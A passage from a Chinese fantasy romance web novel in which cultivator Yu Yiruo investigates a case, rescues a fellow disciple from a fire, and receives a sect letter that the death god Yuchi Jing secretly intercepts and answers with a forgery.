“好,师兄等等我。”程舟怡回头应道,拍了拍余以若的手,嘱托道:“反正记着我说的,鹤师兄没有可能,把目光放到别人身上。”
“还有那个徐展,毕竟也是人家娘不见了,昨儿个还找我聊了些,你若是这几日没事,就把这他们的案子处理一下。”程舟怡把她手中的香囊抽走,道:“还有这个,我替你解决。”
“可是师姐,让他们也去?”余以若纳闷,徐展去,尉迟景也一定会去,若是……
不过,余以若想了想,似乎也没有坏处,思及此,立马应下,“好的,师姐。”
程舟怡满意地点点头。
余以若看她随着鹤览川走远,目光渐渐悠长起来,就在这时,脑袋被人一扑,差点就一个脑袋着地,扭过头,不乐道:“大鸟,你干什么!”
“你怎么还在这里,人家凌常白和徐芙蓉都收拾好了,就连徐展和那个景迟都准备好了,就等你了。”大鸟收起翅膀。
“等我干嘛。”余以若不紧不慢地站起身。
“等你一起去查他们娘的事情啊,而且……”大鸟着急忙慌地跳来跳去,
“而且,连那个谁都去,你不会觉得是有什么阴谋吗,余以若,你不心急,我都替你心急!”
“你急什么?”余以若满不在乎地进屋拿好符纸。
无非就是查个案子,多点人,也能早点查出真相,说不定还能多几层防护,毕竟她的灵脉可是受损了的。
“当然是怕那个谁先你一步找到那个东西啊!”
“什么这个那个,绕圈子,绕得我脑袋都快花了,反正你就放心吧,那个谁是杀不死我的,而且我自有打算。”
大鸟道:“我当然知道那个谁为了把你养肥,不会杀死你,可不能否认他会对那个东西有意思,况且那个东西那么惹人眼,说不定他就是奔着它去的。”
“‘亓’的魂灵?”
话还没出口,就被大鸟一把捂住,惊颤道:“你小声点!若是被那个谁发现了,可这么办!”
“怎么可能……你以为他是鬼啊,没事总跟着我。”余以若把它扒拉下来。
下一秒,身后传来阴森森的一句,“绿衣同修?”
16. 走水
“绿衣同修?”
话音刚落,一鸟一人寒毛陡然竖起,顿顿地把头转过去,露出一个看似正常的笑,“公子,巧啊。”
“可不是巧吗?低头不见抬头见。”徐展走来,手中扇着扇子,眉目意有所知地看向尉迟景,打趣道:“比鬼都还可怕。”
尉迟景换了身红窄袍,乌发高高束起,张扬恣肆,好看的眉眼却因着他的话,微微变了些色,“和鬼交友的你,只怕我等,不及啊,徐兄。”
徐展一听,扇扇子的手都顿了下,立马反驳道:“阎罗殿的那位若是听到了,只怕你的下场比鬼还可怕。”玩味道:“是吧,尉迟兄!毕竟你的那点事,半夜溜去别人家哄孩子……”
与此同时,脱离战场的余以若正找到徐芙蓉,向她问凌常白的事。
“凌常白说去小解了。”徐芙蓉满不乐意地提起他。
“怎么这么久?”余以若怀疑道,大鸟也飞到了枝头上,只怕需要她去找找看,正安顿好徐芙蓉,拾步打算走时,身后陡然激起一阵尖叫。
是从凉亭里传出来的,不明所以的余以若赶忙走过去,甫一找到人,对上的却是徐展怯怯的脸色,看向她,“仙长。”语气客气了不少。
边上的尉迟景好整以暇地靠着檐柱,见她过来,眼皮也懒得抬,径直往外走,“走吧,去找人。”
“仙长。”徐展推推她,把她叫回神,“走吧。”
左看右看,眼前的人是徐展不错,可她总觉得好似变了样,但架不住几人来叫,遂点头,“走吧。”
几人走后,凉亭的凳子底下爬出只白狐狸,皮毛很是好看,素雅的瓷白色,可脸上却突兀地横着两道鞋印,看起来滑稽得很。
偏又走来个人,是飞穆,把它从地上捞起来,顺手帮他拍去尘泥,道:“妖王。”
“还是你是个好心人。”狐狸抹了把泪,看向眼前的男子,有些委屈,“我不就把他小时候的事说了下吗,又不是我说的,分明是鬼王那家伙,不干正事,把人家哄孩子的记忆揪出来当下饭菜。”
“自重。”飞穆退后几步,见他还凑过来,拧了拧眉,面无表情地甩出一张纸,“这是我们主子给你的补偿。”
还在揩着眼角的狐狸动作一顿,立马转悲为喜,捧宝贝似地展开来。
飞穆站在旁边,不知他看到了什么,两眼迸光,把他都快灼烧个窟窿出来,忍不住往旁边再挪了挪,直到被他叫住,
“飞穆,你真是个好影卫,下次我给你开高薪,把你从尉迟景那家伙那挖过来。记着啊,你就是我的好手下,可千万别被尉迟景的小恩小惠骗了。”
“妖王自重。”
“没关系。”狐狸化作人形,脸上的鞋印更明显,凑到飞穆的边上,奈何飞穆就跟见了瘟神般,大步退了老远,待觉得是安全距离时,才开口道:“妖王你说。”
公事公办的语气没有打击到狐狸,却更让他满意,“我就喜欢你这样的下人,你等着,我去把我媳妇找回来,再来把你挖到我手下,像这样的影卫,我确实很缺。”
飞穆怔怔地看着人离开,不禁好奇主子许诺了他什么,不过传闻妖王就不太正行,和鬼王的沉稳持重相差得不是一般大。
倒也难怪妖族的第一美人新婚夜会逃婚,闹得满妖族妖尽皆知,老妖王的脸都没地方搁了,偏这人还专一得很,愣谁也不能摇撼美人在他心中的地位。
……
自上两次袭击后,长乐镇又重归以往的热闹,倒也是不知凶手被抓住了还是怎么,连着几天都宁静平和得很,连一些小娃娃都被准许出来放风筝。
凌常白没有跟上来,派小厮告诉她有些急事,是以,包括肩头的鸟,统共五个人并排上街。
不上街还好,一上街,活了大半辈子,余以若都没觉得自己可以这么受人瞩目,无论是老少,男女,视线无一不在几人身上停留,
起初余以若还以为今日自己梳了个双髻,着了绿襦裙,瞧着清新活泼,惹人喜爱,但顺着她们的目光过去,明明摆摆地指向的是她身边的尉迟景。
少年本就生得极好,龙章凤姿,形貌昳丽,风骨峭拔,无论从哪个角度,皆完美得不可挑剔,偏偏眉宇间留着几分傲气,更着一身艳丽的红锦窄袍,矜贵无双,让人不自觉地望而生怯。
因而,一路走来,姑娘们只敢远远观望,没有一人有这个胆量凑上来。
“看够了吗?”尉迟景没看她,冷冷问道。
“看什么?”余以若收回目光,明知故问。
尉迟景瞥了她一眼,冷笑几声,迈开大步朝前走去,稍一会儿,就和余以若拉开了距离。
“余以若你还骂我,我看要骂你才是。”大鸟飞过来,小声道:“你好端端地走着,凑到他身边去干什么?”
看着眼前的一蓝一红,余以若叹口气,“我这不是想确认确认嘛。”
“确认什么?”大鸟好奇地盘问,“是他心悦你,还是你心悦他吗?”
也不知道小小的鸟头里装了些什么,自从上次它口无遮拦说完那通话,一来二去的,都熟能生巧,知道举一反三,灵活运用反推法了。
余以若好笑道:“我都不知道怎么让你闭嘴,这种让人胆寒的话,你下次烂在肚子里也别说出来。”
“胆寒?难道你是对那个天玄宗的人有意思?可是我看你们也不可能,还不如。”大鸟本能看了眼尉迟景,过了会,又摇摇头,给了自己一拳,自省道:“我怎么被带偏了?”
“余仙长,纵花楼在前面。”身边的徐芙蓉为她指路。
因徐芙蓉和凌常白的娘都去过纵花楼,她们几人便打算去纵花楼打探打探,可走到目的地,就发现不对劲,一问才知,纵花楼的老鸨妈妈们前日就搬走了。
“所以,这位大哥,纵花楼搬去哪了?”余以若拦下一个中年男子。
男子摇头,什么都没说,绕开她就走了。
“怎么会搬走了?”徐芙蓉也纳闷,走至徐展的跟前,“哥,你可有什么消息。”
而徐展似乎是被她突如其来的“哥”吓了跳,吞吞吐吐道:“没有。”
什么消息都找不到,索性寻了个客栈,坐了下来,折腾了半天,点上几碗汤面,就这么吃了三两口,又重新去问,一下午的时间就这么过去,仍旧是一无所获,
等几人回袁府的时候,又接到了一个消息,袁府走水了。
忙不迭抛下东
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西又去救火,火势很大,从西厢开始蔓延,堪堪把客房烧了个一干二净,望着所剩无几的焦炭,大鸟喃喃道:“这下完了。”
“烧的又不是我们住的地方,什么完不完的。”余以若道。
“你真是傻,你看看,哪里都好好的,就西厢房着火,这意味着什么?”大鸟抖落身上的灰烬,一本正经道。
“什么?”余以若浇完最后一桶水,脚一摊,在原地坐了下来,
不得不说袁家还真不愧是家大业大,气量非凡,烧了几间房,没从袁城主脸上看到哀痛,反而是欢喜,却是因着恰好要翻新,这样一来,反倒省了气力。
“西厢房是那些男子住的地方啊。”大鸟埋头梳理羽毛,时不时腾出嘴回余以若几句,
“为什么要把西厢房烧掉,不就是为了可以住进东厢房吗?也就只有女子的客房可以住人,你不想想看,他们大费周章是为了什么?”
“为了什么。”
“为了接近你们啊。”大鸟把翅膀一收,喊道:“说不定就是尉迟景搞的鬼。”
“他搞的,他一大早就和我们出去了,他能分身?”余以若站起身,拍拍屁股,
现下程舟怡和鹤览川还没回来,就连鹤览川的屋子都烧得一干二净,里头不是有符咒吗?都没了?
“不是,传闻死神不是有两大护法吗?一个拿长钢鞭,一个拿长镰刀,指不定就是他们搞的,那群坏家伙。”大鸟跟上她,絮絮叨叨地说,“你不想想看,而且尉迟景那人本就凶残,什么事干不出来。”
“凶残?”余以若顿住脚,正想辩驳,冷不防对上不远处的尉迟景,两手空空往回走,身后的徐展屁颠屁颠地头上一个,肩上四个水桶,弱小又无助的样子,看起来很是可怜,遂点头道:“确实凶残!”
“那是。”大鸟满意她终于肯同意自己的意见了。
扑灭了火,瞧着也不会再燃起来了,余以若便打算回房,正走着,身后跑来一个丫鬟,急急地道:“仙长,仙长,凌公子被困在屋子里了。”
“什么?”
就是因为确认过屋子里没人,他们才毫不在意,无非都是身外之物,烧了就烧了,可若是有人在里面,也确实是她们没想到的。
奔至屋子里时,余以若被砸下的横梁拦住了脚,想将横梁挪开,虽然是刚被扑灭,但还留着余温,甫一抱住,便将袖口灼烧了几个窟窿。
“凌常白!”余以若喊道,又叫来几个小厮,把横梁劈开,才总算进到里屋,瞧见了凌常白,彼时的凌常白非但没有丢掉性命,反而活得好好的,只不过手臂上燎了道伤疤。
“师姐……”
余以若看了几眼他的伤疤,二话不说将人扛起来,往外走,“你放心,既是我扶光宗的弟子,不至于死的。”
“可是师姐,我的手受伤了,此后受了伤,不能练剑,拖累扶光宗,若因我而让堂堂的仙门正派落下口舌……”肩头的人喃喃道。
“都说眼见为实,耳听为虚,在乎这些假的作什么!”余以若道:“你近几日修炼得这么勤快,不至于不能练剑!”
扛着凌常白走远了,可余以若没注意到,在拐角的红色衣袍,被风牵起了一角。
17. 来信
把人救出来后,果真同大鸟说的相差无二,男子都搬来了东厢房,倒真真坐实了低头不见抬头见的话,
余以若有心无力,将医官送走之后,头一抬,就对上了不远处走来的尉迟景。
对方见了她,也只是停留了一瞬,甚至用一瞬来形容都有些言过其实,恨不得立马移开视线的动作,让余以若看了,只想说,整得谁想看到你一样。
“哐当”一声,关门进了屋,床榻上的凌常白被响声吓了一跳,正想下床看看,余以若走了进来,担忧道:“你怎么了?怎么下来了,不是腿也受了伤吗?”
“师姐,可是发生了什么事情。”凌常白又被余以若搀回床上,顺带拿来了纱布和药膏,仔细道:“程师姐和鹤师兄今晚要晚些回来,小厮和小婢都被安排去处理烧毁的房屋了,你的伤口就暂由我处理吧。”
“师姐,这多不好。”凌常白见她要过来拉自己的衣服,火速捂好,“要不还是我自己来吧。”
伤得不算深,可有几处是藏在里面,余以若是不觉得有什么,但他毕竟是个男子,知晓男女大防,况且两人孤男寡女的,可别给她落了口舌。
思及此,他坚定道:“师姐,给我吧,我自己来。”正打算去接,冷不防牵扯到伤口,害得他倒吸几口凉气,但又不让余以若给他上药,实在是没辙了,余以若咬咬牙,“我去把隔壁的人叫来。”
他点头,余以若走了出去,望着绿衣少女远去的焦灼的背影,心里头莫名升起几道暖流,渐渐地淌过四肢百骸,慢慢地,从怀中掏出了令牌,
是扶光宗的令牌,可却被火烧了一块角,不知为何隐隐约约觉得,余以若给他的这块令牌从来就不属于他,
总有一天会就莫名地消失最后什么都没有,就像他一直坚守的,一直妄图索取的。
可即便如此,摸着手上的这块令牌,他还是想走下去,起码能够不辜负他母亲的祈望。
过了不久,门被推开了,进来的是徐展,凌常白想行礼,被余以若一把摁住,叮嘱道:“你别动了,快躺着吧。”
“凌公子,我来给你上药。”徐展撸起袖子,动作粗鲁直接,下一秒就撕下长长的纱布,看了床榻上的人一眼,又看余以若,“余姑娘?”
“哦哦,我走是吧。”余以若回过神,叮嘱完,“师弟,你好好让他给你上药,我就先出去了,有事叫我。”推门溜了出去。
橘黄的落日很快就消失在了地平线下,天上升起一弯银钩,繁星几点,静谧安详,山下的星没有山上的亮,也没有山上的多,但胜在浩渺柔婉,带点不容质疑的朦胧美。
抬头看星星看得出神,直到被程舟怡叫醒,“师妹!你在干什么呢?”
“我,我在看星星。”余以若笑道,见她提剑走来,衣服也还没换,不禁关心道:“师姐今日长乐镇可有没有出事?”
“没。”程舟怡放下剑,和她一起在石墩上坐了下来,仰头看向星空。
“那还挺好,说明……”说着说着余以若神色黯淡了下来。
“说明什么?”程舟怡看向她,笑道,身侧人没接话,叹口气,
继续道:“说明更危险的在后头,近几日都没人死,但这也是最危险的地方,我们在明,对方在暗,不知道对方下一步棋走哪,而我们又何尝不是?”
余以若低下头,看着飞绕在身侧的萤火虫,“但是,起码结果不会太坏。”
“你怎么知道?”程舟怡偏头看向她。
“我会算卦,会占卜。”
身侧的人笑了笑,“算了不说这个了。”掏出信封,“这个是从扶光宗过来的信。”
“扶光宗?”余以若惊喜地接过,“是我师兄的还是师姐,抑或是小师妹?”
“看看就知道了。”
夜色晦暗,看不仔细,余以若展开瞅了几眼,又塞回怀里了,同程舟怡道完别,就急急忙忙地回房看信去。
几个月了,师兄师姐们都没来半个信,现在好容易来了信,难道是发现她飞升不了,来告诉她怎么做了吗?
想着想着,心底就雀跃起来,他们果然没忘记自己。
奈何,人在运气好的时候,碰到奇奇怪怪的人也是一比一的概率,
距离她不远的五步外,尉迟景正懒洋洋地倚在柱子上,似笑非笑地盯着她,淡淡开口,“绿衣同修?把我的人使唤到哪里去了?”
“什么使唤你的人?不清楚。”余以若不想和他废话,可一转身,黑衣蒙面的高个子亮出镰刀,径直拦住她,不解道:“你这是什么意思?”
“什么意思?”尉迟景走过来,“你随随便便就把我的人命令走,你说什么意思?”
“你的人?”余以若思来想去,难不成是那个徐展,可再怎么说徐展也是个人类,怎么可能和他扯得上关系,莫非?他们之间友谊深厚,不确定问,“徐展是你小弟?”
廊道下挂着灯笼,天穹上挂着星月,几缕几缕的光慷慨地落到少年的肩上,披上层皎白的薄纱,比扶光宗的落雪还要白,比青鸾山巅的雪莲还要美,出尘朗艳,俊逸仙姿。
“还没看够?”尉迟景在她几步的位置站定,微微蹙眉。
“是啊,没看够。”余以若面不改色道。
对方吝啬得连个表情也懒得表示,移开目光,冷森森道:“你用了什么手段把我的人支使开。”却不自觉地往她手上的青羽剑看去。
“没什么啊,就是以理服人。”余以若把剑藏好。
“以理服人,绿衣同修何时这般能说?”尉迟景挑眉,“你当我信?你手上的青羽剑到底什么来头?”
一次还好,两三次,就连风信都被她说动,给人上药,在以往是绝对不可能出现,排除一切,唯有她手中的剑有问题,尉迟景看着看着,神色有些莫名起来。
“爱信不信。”余以若护着自己的剑,戒备道:“你三番两次找我茬,是觊觎我的剑,你若是问剑是哪来的,我无可奉告,
若是要取我小命,我唯有同你殊死一搏,但,你可想清楚,我能杀你一次,焉知会不会有第二次。”
在旁的飞穆一怔,果如风信所言,初生牛犊不怕虎,这姑娘比牛犊还牛犊,见过胆大的,第一次在死神面前大放阙词的简直闻所未闻,
思及此,微微抬眼,想见识见识下眼前的人,奈何,眼睛才将将睁开,就迎来主子警告的神色,瞬间收了回去。
“绿衣同修,真是好大的口气。”尉迟景道:“快百年了,你是我见过的第一个……”
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“第一个什么?”余以若很乐意听别人夸自己,尤其是眼前的人想杀又杀不掉她,想想真是激动。
话锋一转,凉薄道:“第一个嫌命长的蠢货。”
“那又如何,反正比你活得长。”余以若摆摆手,满不在乎地道,
见身后的镰刀还拦着自己,一下子没了好脾气,“没听到吗?你家主子都说我是蠢货,你不给蠢货让道,比蠢货还蠢,若是不想被你主子踹了,就放我走!”
倒是难住飞穆了,不定地看向尉迟景,直到他嘲讽道:“蠢货开口了,就把这蠢货放出去,毕竟蠢货走了,剩下的就是聪明人。”才立马收起镰刀。
“聪明的……邪神,呵。”余以若讥讽道。
“主子……”飞穆看了看尉迟景,见他脸色难看得出奇,也就自觉闭了嘴,默默地退出去。
美妙的心情就这么被糟糕的人搅坏,余以若把信放好,没先去看,而是去了凌常白屋里,见他似乎早已躺下,便想着不去打饶他的好,转身便走。
“师姐。”凌常白把她叫住。
“凌师弟?你还没睡?”余以若走回去,正好他从床上下来,便扶过凳子让他坐下,“怎么样了,可有好些。”
“好多了。”凌常白给自己倒了杯水,又递给余以若一杯。
“哦,那就好。”毕竟用了灵药,加上他身上的都是些皮外伤,恢复得是比较快一些,可,余以若想了想,还是出声问,“你的令牌呢?”
凌常白怔了下,抿完茶,道:“好似丢了。”
“丢了?”余以若不解,“令牌上可是覆了术法的,怎么会丢呢?”
而且还有一点她没说,凌常白用的是她的令牌,当初师父他们怕她受伤,上头可是覆了好几道术法的,不说基本的水火不侵,就是戴着它,几道天雷都不用怕。
是以,这就是为什么,对于他的受伤,余以若会很奇怪的,但他说丢了,若是丢了,在大火当中如何能够幸存?
“或许是落在什么地方了,师姐你不会怪我吧。”凌常白揪着衣角,看向她,活像一个受了过错的小孩,
余以若心有不忍,摇了摇头,道:“下次记着,没了令牌可是上不了山的。”
“那,那怎么办?”凌常白不安道。
“没事,不用担心,届时跟着我上山就好了,再说……”余以若看他目光灼灼地盯着自己,到口的话还是咽了下去,变成,“你好好休息吧,我明日再来看你。”
“好,多谢师姐。”凌常白起身将她送至门外。
回屋后,再次掏出令牌,想起余以若恰才的话,也就是说只要跟着她,就能到扶光宗?想着想着,手中的玉佩变轻了许多,但万一她是骗自己的呢?
正欲砸下的手又缩了回来,起码还有这个做保底。
是了,它不能碎,又安安稳稳地掖到怀里。
……
洗漱完一切,余以若兴冲冲地去拆信,脑袋就被大鸟一个飞坐,差点磕了下去,埋怨地看向它,“肥鸟你干什么!”
“是扶光宗的信!”大鸟眼睛一亮。
“是啊,扶光宗的。”余以若激动不已,火速拆开,一人一鸟挤在一起看完,片刻后,一人一鸟绝望道:“完了!”
18. 伪造
信上的内容无章无法,执笔者似乎很急,墨水还未干,就被折叠起来,封入袋中,导致大片大片的文字漫漶不清,
加之,余以若翻来纸背,勉强能认出一二,约莫告诫她尽早回山,可字迹又越变越小,在最末的一行,甚至还被水晕成一片糊,翻来覆去地两双眼睛看,愣是不知道后面写的是什么。
“奚空择写的什么啊?”大鸟抱怨道:“我爪子扒的都比他写得好看。”
“叫我赶紧回山?”余以若拿起又放下,“可,师兄不是在邻国辅助帝王吗?这么快就回来了?”
青阳道长统共收的十二个弟子,各个都是文武奇才,就算没能飞升成仙,也能在各地游说,如遇机缘,被诸侯王引荐,成为国之重臣的也不乏其数。
可摆在明面上的事实就是,奚空择已成为大楚国师,前些日子还收到他的来信,言说大楚突发洪涝,急需几个师兄弟下山增援,
按理来说他此时因是在大楚境内,何以是从扶光宗来的信,上头的封口标志也毫无半点异样,除非扶光宗出了什么事,急需他抛下一国臣民,匆匆忙忙回山,为的就是给她寄信。
缘由她也能猜出一二,掌门印信可以连通座下的弟子,无论他们身在何方,只要一送,便达。
“回山?这怎么行?”大鸟不悦,“好不容易升仙扣功德的事有些着落了,就把人叫回去,这个奚空择,看我不等青阳回来好好教训他,自己没飞,也要拉自己的师妹一脚,坏蛋!”愤愤的它还踩了几脚。
“稍安勿躁。”余以若抽出信,道理自然懂得,可若是真有什么事情呢,来信也不一定保真,又万一是别人伪作,留着空子等她去钻也有可能。
“你该不会真信了吧。”大鸟啄下她手中的信,“万一是别人的计谋呢,这么多年你又不是不知道,虽说灵气浓郁,飞升成仙的人多,可你有没有发现一个事实?”
“什么?”余以若看向它。
“尽管飞升的人比以往翻了好几番,可从上界掉下来的人可一点都不少。”大鸟正色道:“这说明上界的竞争非常激烈,而你万一被别人看作了眼中钉,借此报复你怎么办?”
“可我也不是没飞升吗?”
“那也不排除你有飞升的可能性啊。”大鸟走到她面前,急急解释,“再说了,你的祖上是什么,你真以为当初青阳是看中你灵根奇特?还不是因为你祖上有人修过道,而到了你身上尚且残存着灵气。”
“我明白。”余以若站起身,伸了个懒腰。
“所以,你不能这么简简单单地就回去,你不可以随随便便就放弃升仙的机会。”
余以若转身拿来笔墨,点头,“我没说要放弃。”
“那你是打算回扶光宗喽,你回去了,尉迟景咋办,‘亓’的魂灵咋办,你又不是不知道,死神的老宅,谁都进不去,你若是把尉迟景跟丢了,你咋办。”大鸟追上她。
余以若放好砚台,一把拽住它的嘴巴,道:“安静点,我没说我要回去。”
“那你……”大鸟瓮声瓮气道,瞧着她的样子也不像说谎,自觉闭上嘴,
静静地看她将纸张铺开,蘸饱墨水,边写边说:“我先同师兄确认确认是何事,而后再决定是回去还是留下。”
闻言,大鸟松了口气,好在她明事理,否则倘若青阳真听到她不打算升仙,十二全大补汤就在锅里等着它。
虽然不知道青阳为何在众多弟子当中,对她格外看重,别人不飞升都行,可她不行,但她也是个不服输的人,就算挨了那么多次骂,也没能改变她的志向,反而愈挫愈勇。
就算招惹上死神也没见她脸上现出过怯色。
是狂傲抑或是其他,大鸟不知道。
但它明白眼前人是扶光宗的希望,更是东州大陆的希望。此话,是它偶然从青阳口中听来的。
“好了,给口气。”余以若把叠好的纸鹤递到大鸟面前,示意它吹上几口仙气,大鸟不情不愿地看着眼前歪七扭八的怪物纸鹤,变扭地呼上一口,“咻”的一下,便在眼前消失了。
“也就等师兄的来信了。”余以若捶捶手臂,扑到床榻上,“估摸着明日就能收到师兄的信了吧。”
……
扶光宗能不能收到信不知道,但纸鹤是飞不出袁府的。
尉迟景正靠坐在软榻上听飞信讲他如何如何地被余以若折服,如何如何地心甘情愿去给人上药,
听得尉迟景一股无名火,末了甩出无命冥火,让地上的废物长长记性。
“你的主子是她,还是我?”尉迟景面无表情。
风信跪在地上,旁边搁着徐展的皮,狐狸妖王被主子叫回去后,便让他担任这个差事,如此重要的事,他以为只要扮演好徐展就好了,
可谁知道半夜会被余以若叫走,她一通说理之下,他觉得很有道理,也想着如果自己主子听到也会觉得他的行为高明,
毕竟既保住了他的身份不被泄露,也护住了主子的颜面,可从没想过主子会生那么大的气。
不知为何,近几日主子是不是碰到了什么凶神恶煞,以往主子在死神殿,半分情绪也不会流露,就算是大喜抑或是盛怒,都隐藏得很好,让人瞧不出纤毫不同,
可这几日,主子无一不是生着气回来,问飞穆这个木头,也是什么都不说,只徒留他一人在揣摩是不是主子见袁小姐和承祁好上,怕承祁先他一步找到“亓”的魂灵,而心里不平,
可一想到这个,又觉得很不对,别说什么承祁了,连主子被袁小姐见到的机会都屈指可数。
思来想去,矛头都对准一个人,毫无顾忌地蹦跶在主子面前,被主子称作等死头号的余以若。
“主子叫你说话!”飞穆上前一步,踹了他一脚,转身又回到尉迟景的跟前,递上了一只纸鹤。
尉迟景屈指示意他放到桌子上,走下榻,居高临下地俯视着飞信,带着不容忤逆的威严,道:“那个蠢货许诺了你什么?”
“主子,她没有许诺我什么。”风信急忙道:“是我心甘情愿的。”
尉迟景冷笑一声,转身躺回榻子上,猛灌了杯茶,“我竟不知那蠢货这么有能耐,要不如你叫她主子,跟她办事的好。”
“不,主子,您始终是奴的主子,奴万万不敢有二心,是奴蠢,被别人三言两语就说动,饶了奴这一次,奴再也不敢了。”风信一个劲地磕头谢罪,
不知是被无命冥火灼烧的痛,还是出于对红袍少年本能的惧怕,浑身上下哆哆嗦嗦的,腿肚子更是抖得似筛糠。
被飞穆看在眼里,也有微微的诧异,换做别人,只怕早已不知死了多少次了,而
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他却仍旧好端端地跪在地上,主子向来不是心慈手软之人,只怕此人的来头不容小觑。
“飞穆!”
“主子。”飞穆抱拳。
尉迟景甩落化作灰烬的纸鹤,淡淡道:“明日去给余以若一通信。”
“好。”飞穆颔首,“是如何……”
“让她留下,好好地留下……”尉迟景弯唇。
分明是温和的语气,在飞穆听来,却恶寒横生,冷不防打了个颤,被他察觉,才迅速退了下去。
地上的风信仍旧跪着,身上的无命冥火早已把他燎得浑身赤红,此外,便几乎是毫发无损,
尉迟景漫不经心地抬了抬眼,嗤道:“那老家伙还是不放心我,可笑至极。”
……
袁微闺房,几个小婢站在屋外,里头若隐若现传来的喘息,搅得她们面红耳赤,牢牢把手头上的香囊捏稳。
不久前,程舟怡路过此处,将前几日袁微送出去的香囊一并退还回来,包括给余以若的几个,她们虽不明白是何缘由,但却不得不收下,等着袁微来处置。
过了片刻,门被推开,袁微从里头唤了声,小婢走进去一个,顺带将香囊也一并带了进去。
“手上的是什么?”袁微顺手拾了件薄衫披起,刚才她就听到了程舟怡的声音,但碍于贵客在,不便出门,便等到这个时候,小婢一进来,她便瞧见了她手上的黄布。
“小姐……香囊。”小婢双手递上。
“香囊?”袁微愣了几秒,又很快被笑容覆盖,接过后,挥了挥手,温和道:“知道了,下去吧。”
小婢依言退下去,门“吱嘎”一阖,娇美的脸陡然转成戾色,她恶狠狠地将香囊甩开,砸至地面的香囊骨碌碌地滚上老远,冷不防从里头掉出个三角黄符。
“怎么了?”帘幔里伸出截粗壮的臂,将她揽了回去,“发生什么事了?”
“香囊被她们发现了。”
“发现了又何妨,他们能奈我何?”里面的人道。
袁微轻笑了声,也不知是笑自己还是笑里面的人,“你可别忘了,这个。”又掏出一只珠钗,是徐芙蓉丈夫送她的那只。
“什么东西?”里面的人满不在乎地拍落,“无非就是些小儿把戏,一个将死的死神,几个黄毛丫头,怕什么,就算鬼王来了,我照打不误。”
“鬼王?”袁微道:“你可别忘了我和你的交易。”
“我和你的交易。”承祁蛊惑的嗓音传来,“我自然不会忘,待我回去在鬼王边上美言几句,长生不老,半点问题也没,再说,你这样的美人,我可从未尝过。”
说罢,袁微娇笑几声,又被他搂回怀里。
……
第二日,余以若起来时,就收到了飞回来的纸鹤,一边纳闷怎么回来得那么快,一边又迫不及待地拆开,
待看清里头明明白白地写着让她留下的消息时,昨日的困惑和担心迅速一扫而空。
收到好消息,就连肩头的鸟都乐呵,忍不住称赞了奚空择几番,“明事理的好孩子,等我回去,多赏赐些我的羽毛给你。”
不过,倒也奇怪的事,自打早上收了信后,余以若总觉得明里暗里有人在偷摸跟着自己,可一转头,又空无一人,不禁怀疑是不是自己这几日没睡好,出现幻觉了。